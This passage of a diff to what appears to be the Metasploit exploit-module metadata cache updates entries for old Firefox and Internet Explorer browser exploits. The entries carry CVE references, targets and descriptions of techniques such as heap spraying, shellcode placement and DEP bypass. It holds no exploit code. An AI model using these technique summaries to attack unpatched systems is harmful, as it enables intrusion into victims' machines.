nsSVGValue observers via nsSVGValue::NotifyObservers(x,y)\n uses a loop which can result in an out-of-bounds access to attacker-controlled memory.\n The mObserver ElementAt() function (which picks up pointers), does not validate\n if a given index is out of bound. If a custom observer of nsSVGValue is created,\n which removes elements from the original observer,\n and memory layout is manipulated properly, the ElementAt() function might pick up\n an attacker provided pointer, which can be leveraged to gain remote arbitrary\n code execution.", + "description": "This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1).\n The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y)\n uses a loop which can result in an out-of-bounds access to attacker-controlled memory.\n The mObserver ElementAt() function (which picks up pointers), does not validate\n if a given index is out of bound. If a custom observer of nsSVGValue is created,\n which removes elements from the original observer,\n and memory layout is manipulated properly, the ElementAt() function might pick up\n an attacker provided pointer, which can be leveraged to gain remote arbitrary\n code execution.", "references": [ "CVE-2011-3658", "OSVDB-77953", @@ -146244,18 +149118,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP - Firefox 7", "Windows XP - Firefox 8 (<= 8.0.1)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mozilla_nssvgvalue.rb", "is_install_path": true, "ref_name": "windows/browser/mozilla_nssvgvalue", @@ -146263,6 +149133,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146270,9 +149149,7 @@ "exploit_windows/browser/mozilla_nstreerange": { "name": "Mozilla Firefox \"nsTreeRange\" Dangling Pointer Vulnerability", "fullname": "exploit/windows/browser/mozilla_nstreerange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-02-02", "type": "exploit", @@ -146280,7 +149157,7 @@ "regenrecht", "xero" ], - "description": "This module exploits a code execution vulnerability in Mozilla Firefox\n 3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection.\n By overwriting a subfunction of invalidateSelection it is possible to free the\n nsTreeRange object that the function currently operates on.\n Any further operations on the freed object can result in remote code execution.\n Utilizing the call setup the function provides it's possible to bypass DEP\n without the need for a ROP. Sadly this exploit is still either dependent\n on Java or bound by ASLR because Firefox doesn't employ any ASLR-free\n modules anymore.", + "description": "This module exploits a code execution vulnerability in Mozilla Firefox\n 3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection.\n By overwriting a subfunction of invalidateSelection it is possible to free the\n nsTreeRange object that the function currently operates on.\n Any further operations on the freed object can result in remote code execution.\n Utilizing the call setup the function provides it's possible to bypass DEP\n without the need for a ROP. Sadly this exploit is still either dependent\n on Java or bound by ASLR because Firefox doesn't employ any ASLR-free\n modules anymore.", "references": [ "CVE-2011-0073", "OSVDB-72087", @@ -146292,12 +149169,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto (Direct attack against Windows XP, otherwise through Java, if enabled)", "Firefox Runtime, fails with ASLR", @@ -146305,7 +149178,7 @@ "Java JVM (20.1.0.02)", "Java Regutils (6.0.260.3)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mozilla_nstreerange.rb", "is_install_path": true, "ref_name": "windows/browser/mozilla_nstreerange", @@ -146313,6 +149186,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146320,9 +149202,7 @@ "exploit_windows/browser/mozilla_reduceright": { "name": "Mozilla Firefox Array.reduceRight() Integer Overflow", "fullname": "exploit/windows/browser/mozilla_reduceright", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-06-21", "type": "exploit", @@ -146335,7 +149215,7 @@ "mr_me ", "TecR0c " ], - "description": "This module exploits a vulnerability found in Mozilla Firefox 3.6. When an\n array object is configured with a large length value, the reduceRight() method\n may cause an invalid index being used, allowing arbitrary remote code execution.\n Please note that the exploit requires a longer amount of time (compare to a\n typical browser exploit) in order to gain control of the machine.", + "description": "This module exploits a vulnerability found in Mozilla Firefox 3.6. When an\n array object is configured with a large length value, the reduceRight() method\n may cause an invalid index being used, allowing arbitrary remote code execution.\n Please note that the exploit requires a longer amount of time (compare to a\n typical browser exploit) in order to gain control of the machine.", "references": [ "CVE-2011-2371", "OSVDB-73184", @@ -146345,18 +149225,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Mozilla Firefox 3.6.16 (no JAVA)", "Mozilla Firefox 3.6.16 (JAVA)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mozilla_reduceright.rb", "is_install_path": true, "ref_name": "windows/browser/mozilla_reduceright", @@ -146364,6 +149240,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146371,16 +149256,14 @@ "exploit_windows/browser/ms03_020_ie_objecttype": { "name": "MS03-020 Microsoft Internet Explorer Object Type", "fullname": "exploit/windows/browser/ms03_020_ie_objecttype", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-06-04", "type": "exploit", "author": [ "skape " ], - "description": "This module exploits a vulnerability in Internet Explorer's\n handling of the OBJECT type attribute.", + "description": "This module exploits a vulnerability in Internet Explorer's\n handling of the OBJECT type attribute.", "references": [ "CVE-2003-0344", "OSVDB-2967", @@ -146390,16 +149273,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows NT/XP/2003 Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb", "is_install_path": true, "ref_name": "windows/browser/ms03_020_ie_objecttype", @@ -146407,6 +149286,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146414,9 +149302,7 @@ "exploit_windows/browser/ms05_054_onload": { "name": "MS05-054 Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution", "fullname": "exploit/windows/browser/ms05_054_onload", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-11-21", "type": "exploit", @@ -146425,7 +149311,7 @@ "Stuart Pearson", "Sam Sharps" ], - "description": "This bug is triggered when the browser handles a JavaScript 'onLoad' handler in\n conjunction with an improperly initialized 'window()' JavaScript function.\n This exploit results in a call to an address lower than the heap. The javascript\n prompt() places our shellcode near where the call operand points to. We call\n prompt() multiple times in separate iframes to place our return address.\n We hide the prompts in a popup window behind the main window. We spray the heap\n a second time with our shellcode and point the return address to the heap. I use\n a fairly high address to make this exploit more reliable. IE will crash when the\n exploit completes. Also, please note that Internet Explorer must allow popups\n in order to continue exploitation.", + "description": "This bug is triggered when the browser handles a JavaScript 'onLoad' handler in\n conjunction with an improperly initialized 'window()' JavaScript function.\n This exploit results in a call to an address lower than the heap. The javascript\n prompt() places our shellcode near where the call operand points to. We call\n prompt() multiple times in separate iframes to place our return address.\n We hide the prompts in a popup window behind the main window. We spray the heap\n a second time with our shellcode and point the return address to the heap. I use\n a fairly high address to make this exploit more reliable. IE will crash when the\n exploit completes. Also, please note that Internet Explorer must allow popups\n in order to continue exploitation.", "references": [ "MSB-MS05-054", "CVE-2005-1790", @@ -146435,17 +149321,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Internet Explorer 6 on Windows XP", "Internet Explorer 6 Windows 2000" ], - "mod_time": "2021-04-05 13:03:42 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms05_054_onload.rb", "is_install_path": true, "ref_name": "windows/browser/ms05_054_onload", @@ -146453,6 +149335,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146460,9 +149351,7 @@ "exploit_windows/browser/ms06_001_wmf_setabortproc": { "name": "Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution", "fullname": "exploit/windows/browser/ms06_001_wmf_setabortproc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-12-27", "type": "exploit", @@ -146471,7 +149360,7 @@ "san ", "O600KO78RUS " ], - "description": "This module exploits a vulnerability in the GDI library included with\n Windows XP and 2003. This vulnerability uses the 'Escape' metafile function\n to execute arbitrary code through the SetAbortProc procedure. This module\n generates a random WMF record stream for each request.", + "description": "This module exploits a vulnerability in the GDI library included with\n Windows XP and 2003. This vulnerability uses the 'Escape' metafile function\n to execute arbitrary code through the SetAbortProc procedure. This module\n generates a random WMF record stream for each request.", "references": [ "CVE-2005-4560", "OSVDB-21987", @@ -146482,16 +149371,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP/2003/Vista Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb", "is_install_path": true, "ref_name": "windows/browser/ms06_001_wmf_setabortproc", @@ -146499,6 +149384,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146506,9 +149400,7 @@ "exploit_windows/browser/ms06_013_createtextrange": { "name": "MS06-013 Microsoft Internet Explorer createTextRange() Code Execution", "fullname": "exploit/windows/browser/ms06_013_createtextrange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-03-19", "type": "exploit", @@ -146519,7 +149411,7 @@ "justfriends4n0w ", "Unknown" ], - "description": "This module exploits a code execution vulnerability in Microsoft Internet Explorer.\n Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under\n certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point\n to a very remote, non-existent memory location. This module is the result of merging three\n different exploit submissions and has only been reliably tested against Windows XP SP2.\n This vulnerability was independently discovered by multiple parties. The heap spray method\n used by this exploit was pioneered by Skylined.", + "description": "This module exploits a code execution vulnerability in Microsoft Internet Explorer.\n Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under\n certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point\n to a very remote, non-existent memory location. This module is the result of merging three\n different exploit submissions and has only been reliably tested against Windows XP SP2.\n This vulnerability was independently discovered by multiple parties. The heap spray method\n used by this exploit was pioneered by Skylined.", "references": [ "CVE-2006-1359", "OSVDB-24050", @@ -146533,17 +149425,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)", "Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms06_013_createtextrange.rb", "is_install_path": true, "ref_name": "windows/browser/ms06_013_createtextrange", @@ -146551,6 +149439,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146558,9 +149455,7 @@ "exploit_windows/browser/ms06_055_vml_method": { "name": "MS06-055 Microsoft Internet Explorer VML Fill Method Code Execution", "fullname": "exploit/windows/browser/ms06_055_vml_method", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-09-19", "type": "exploit", @@ -146571,7 +149466,7 @@ "Mr.Niega ", "M. Shirk " ], - "description": "This module exploits a code execution vulnerability in Microsoft Internet Explorer using\n a buffer overflow in the VML processing code (VGX.dll). This module has been tested on\n Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.", + "description": "This module exploits a code execution vulnerability in Microsoft Internet Explorer using\n a buffer overflow in the VML processing code (VGX.dll). This module has been tested on\n Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.", "references": [ "CVE-2006-4868", "OSVDB-28946", @@ -146581,16 +149476,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows NT 4.0 -> Windows 2003 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms06_055_vml_method.rb", "is_install_path": true, "ref_name": "windows/browser/ms06_055_vml_method", @@ -146598,6 +149489,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146605,16 +149505,14 @@ "exploit_windows/browser/ms06_057_webview_setslice": { "name": "MS06-057 Microsoft Internet Explorer WebViewFolderIcon setSlice() Overflow", "fullname": "exploit/windows/browser/ms06_057_webview_setslice", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-07-17", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a flaw in the WebViewFolderIcon ActiveX control\n included with Windows 2000, Windows XP, and Windows 2003. This flaw was published\n during the Month of Browser Bugs project (MoBB #18).", + "description": "This module exploits a flaw in the WebViewFolderIcon ActiveX control\n included with Windows 2000, Windows XP, and Windows 2003. This flaw was published\n during the Month of Browser Bugs project (MoBB #18).", "references": [ "CVE-2006-3730", "OSVDB-27110", @@ -146624,16 +149522,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / IE 6.0SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms06_057_webview_setslice.rb", "is_install_path": true, "ref_name": "windows/browser/ms06_057_webview_setslice", @@ -146641,6 +149535,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146648,9 +149551,7 @@ "exploit_windows/browser/ms06_067_keyframe": { "name": "MS06-067 Microsoft Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability", "fullname": "exploit/windows/browser/ms06_067_keyframe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-11-14", "type": "exploit", @@ -146658,7 +149559,7 @@ "Alexander Sotirov ", "skape " ], - "description": "This module exploits a heap overflow vulnerability in the KeyFrame method of the\n direct animation ActiveX control. This is a port of the exploit implemented by\n Alexander Sotirov.", + "description": "This module exploits a heap overflow vulnerability in the KeyFrame method of the\n direct animation ActiveX control. This is a port of the exploit implemented by\n Alexander Sotirov.", "references": [ "CVE-2006-4777", "OSVDB-28842", @@ -146668,16 +149569,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000/XP/2003 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms06_067_keyframe.rb", "is_install_path": true, "ref_name": "windows/browser/ms06_067_keyframe", @@ -146685,6 +149582,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146692,16 +149598,14 @@ "exploit_windows/browser/ms06_071_xml_core": { "name": "MS06-071 Microsoft Internet Explorer XML Core Services HTTP Request Handling", "fullname": "exploit/windows/browser/ms06_071_xml_core", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-10-10", "type": "exploit", "author": [ "Trirat Puttaraksa " ], - "description": "This module exploits a code execution vulnerability in Microsoft XML Core Services which\n exists in the XMLHTTP ActiveX control. This module is the modified version of\n http://www.milw0rm.com/exploits/2743 - credit to str0ke. This module has been successfully\n tested on Windows 2000 SP4, Windows XP SP2, Windows 2003 Server SP0 with IE6\n + Microsoft XML Core Services 4.0 SP2.", + "description": "This module exploits a code execution vulnerability in Microsoft XML Core Services which\n exists in the XMLHTTP ActiveX control. This module is the modified version of\n http://www.milw0rm.com/exploits/2743 - credit to str0ke. This module has been successfully\n tested on Windows 2000 SP4, Windows XP SP2, Windows 2003 Server SP0 with IE6\n + Microsoft XML Core Services 4.0 SP2.", "references": [ "CVE-2006-5745", "OSVDB-29425", @@ -146711,16 +149615,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 -> Windows 2003 SP0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms06_071_xml_core.rb", "is_install_path": true, "ref_name": "windows/browser/ms06_071_xml_core", @@ -146728,6 +149628,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146735,9 +149644,7 @@ "exploit_windows/browser/ms07_017_ani_loadimage_chunksize": { "name": "Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)", "fullname": "exploit/windows/browser/ms07_017_ani_loadimage_chunksize", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-03-28", "type": "exploit", @@ -146746,7 +149653,7 @@ "skape ", "Solar Eclipse " ], - "description": "This module exploits a buffer overflow vulnerability in the\n LoadAniIcon() function in USER32.dll. The flaw can be triggered through\n Internet Explorer 6 and 7 by using the CURSOR style sheet directive\n to load a malicious .ANI file. The module can also exploit Mozilla\n Firefox by using a UNC path in a moz-icon URL and serving the .ANI file\n over WebDAV. The vulnerable code in USER32.dll will catch any\n exceptions that occur while the invalid cursor is loaded, causing the\n exploit to silently fail when the wrong target has been chosen.\n\n This vulnerability was discovered by Alexander Sotirov of Determina\n and was rediscovered, in the wild, by McAfee.", + "description": "This module exploits a buffer overflow vulnerability in the\n LoadAniIcon() function in USER32.dll. The flaw can be triggered through\n Internet Explorer 6 and 7 by using the CURSOR style sheet directive\n to load a malicious .ANI file. The module can also exploit Mozilla\n Firefox by using a UNC path in a moz-icon URL and serving the .ANI file\n over WebDAV. The vulnerable code in USER32.dll will catch any\n exceptions that occur while the invalid cursor is loaded, causing the\n exploit to silently fail when the wrong target has been chosen.\n\n This vulnerability was discovered by Alexander Sotirov of Determina\n and was rediscovered, in the wild, by McAfee.", "references": [ "CVE-2007-0038", "OSVDB-33629", @@ -146756,12 +149663,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista", "IE6 on Windows NT, 2000, XP, 2003 (all languages)", @@ -146770,7 +149673,7 @@ "Firefox on Windows XP (English)", "Firefox on Windows 2003 (English)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb", "is_install_path": true, "ref_name": "windows/browser/ms07_017_ani_loadimage_chunksize", @@ -146778,6 +149681,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146785,16 +149697,14 @@ "exploit_windows/browser/ms08_041_snapshotviewer": { "name": "Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download", "fullname": "exploit/windows/browser/ms08_041_snapshotviewer", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-07-07", "type": "exploit", "author": [ "MC " ], - "description": "This module allows remote attackers to place arbitrary files on a users file system\n via the Microsoft Office Snapshot Viewer ActiveX Control.", + "description": "This module allows remote attackers to place arbitrary files on a users file system\n via the Microsoft Office Snapshot Viewer ActiveX Control.", "references": [ "CVE-2008-2463", "OSVDB-46749", @@ -146804,16 +149714,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb", "is_install_path": true, "ref_name": "windows/browser/ms08_041_snapshotviewer", @@ -146821,6 +149727,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146828,16 +149743,14 @@ "exploit_windows/browser/ms08_053_mediaencoder": { "name": "Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow", "fullname": "exploit/windows/browser/ms08_053_mediaencoder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-09-09", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Windows Media Encoder 9. When\n sending an overly long string to the GetDetailsString() method of wmex.dll\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Windows Media Encoder 9. When\n sending an overly long string to the GetDetailsString() method of wmex.dll\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2008-3008", "OSVDB-47962", @@ -146847,16 +149760,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2-SP3 IE 6.0 SP0-SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms08_053_mediaencoder.rb", "is_install_path": true, "ref_name": "windows/browser/ms08_053_mediaencoder", @@ -146864,43 +149773,51 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms08_070_visual_studio_msmask": { - "name": "Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow", + "name": "Microsoft Visual Studio Mdmask32.ocx ActiveX Stack Buffer Overflow", "fullname": "exploit/windows/browser/ms08_070_visual_studio_msmask", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-08-13", "type": "exploit", "author": [ + "Symantec", "koshi", "MC " ], - "description": "This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0.\n When passing a specially crafted string to the Mask parameter of the\n Mdmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary\n code.", + "description": "This module exploits a stack buffer overflow in Microsoft Visual\n Studio 6.0. When passing a specially crafted string to the Mask\n parameter of the Mdmask32.ocx ActiveX Control, an attacker may\n be able to execute arbitrary code.", "references": [ + "BID-30674", "CVE-2008-3704", + "CWE-119", + "EDB-6244", + "EDB-6317", "OSVDB-47475", - "BID-30674", - "MSB-MS08-070" + "MSB-MS08-070", + "URL-https://exchange.xforce.ibmcloud.com/vulnerabilities/44444" ], "platform": "Windows", - "arch": "", + "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ - "Windows XP SP0-SP2 IE 6.0 SP0-SP2" + "Windows XP x86 SP0-SP3 IE 6.0 SP0-SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 00:38:44 +0000", "path": "/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb", "is_install_path": true, "ref_name": "windows/browser/ms08_070_visual_studio_msmask", @@ -146908,6 +149825,16 @@ "post_auth": false, "default_credential": false, "notes": { + "AKA": [ + "Masked Edit Control Memory Corruption Vulnerability" + ], + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [ + "unreliable-session" + ] }, "session_types": false, "needs_cleanup": null @@ -146915,16 +149842,14 @@ "exploit_windows/browser/ms08_078_xml_corruption": { "name": "MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption", "fullname": "exploit/windows/browser/ms08_078_xml_corruption", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-12-07", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a vulnerability in the data binding feature of Internet\n Explorer. In order to execute code reliably, this module uses the .NET DLL\n memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is\n used to create a fake vtable at a known location with all methods pointing\n to our payload. Since the .text segment of the .NET DLL is non-writable, a\n prefixed code stub is used to copy the payload into a new memory segment and\n continue execution from there.", + "description": "This module exploits a vulnerability in the data binding feature of Internet\n Explorer. In order to execute code reliably, this module uses the .NET DLL\n memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is\n used to create a fake vtable at a known location with all methods pointing\n to our payload. Since the .text segment of the .NET DLL is non-writable, a\n prefixed code stub is used to copy the payload into a new memory segment and\n continue execution from there.", "references": [ "CVE-2008-4844", "OSVDB-50622", @@ -146935,16 +149860,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms08_078_xml_corruption.rb", "is_install_path": true, "ref_name": "windows/browser/ms08_078_xml_corruption", @@ -146952,6 +149873,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146959,16 +149889,14 @@ "exploit_windows/browser/ms09_002_memory_corruption": { "name": "MS09-002 Microsoft Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption", "fullname": "exploit/windows/browser/ms09_002_memory_corruption", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-02-10", "type": "exploit", "author": [ "dean " ], - "description": "This module exploits an error related to the CFunctionPointer function when attempting\n to access uninitialized memory. A remote attacker could exploit this vulnerability to\n corrupt memory and execute arbitrary code on the system with the privileges of the victim.", + "description": "This module exploits an error related to the CFunctionPointer function when attempting\n to access uninitialized memory. A remote attacker could exploit this vulnerability to\n corrupt memory and execute arbitrary code on the system with the privileges of the victim.", "references": [ "CVE-2009-0075", "OSVDB-51839", @@ -146977,16 +149905,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2-SP3 / Windows Vista SP0 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms09_002_memory_corruption.rb", "is_install_path": true, "ref_name": "windows/browser/ms09_002_memory_corruption", @@ -146994,6 +149918,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147001,16 +149934,14 @@ "exploit_windows/browser/ms09_043_owc_htmlurl": { "name": "Microsoft OWC Spreadsheet HTMLURL Buffer Overflow", "fullname": "exploit/windows/browser/ms09_043_owc_htmlurl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-08-11", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a buffer overflow in Microsoft's Office Web 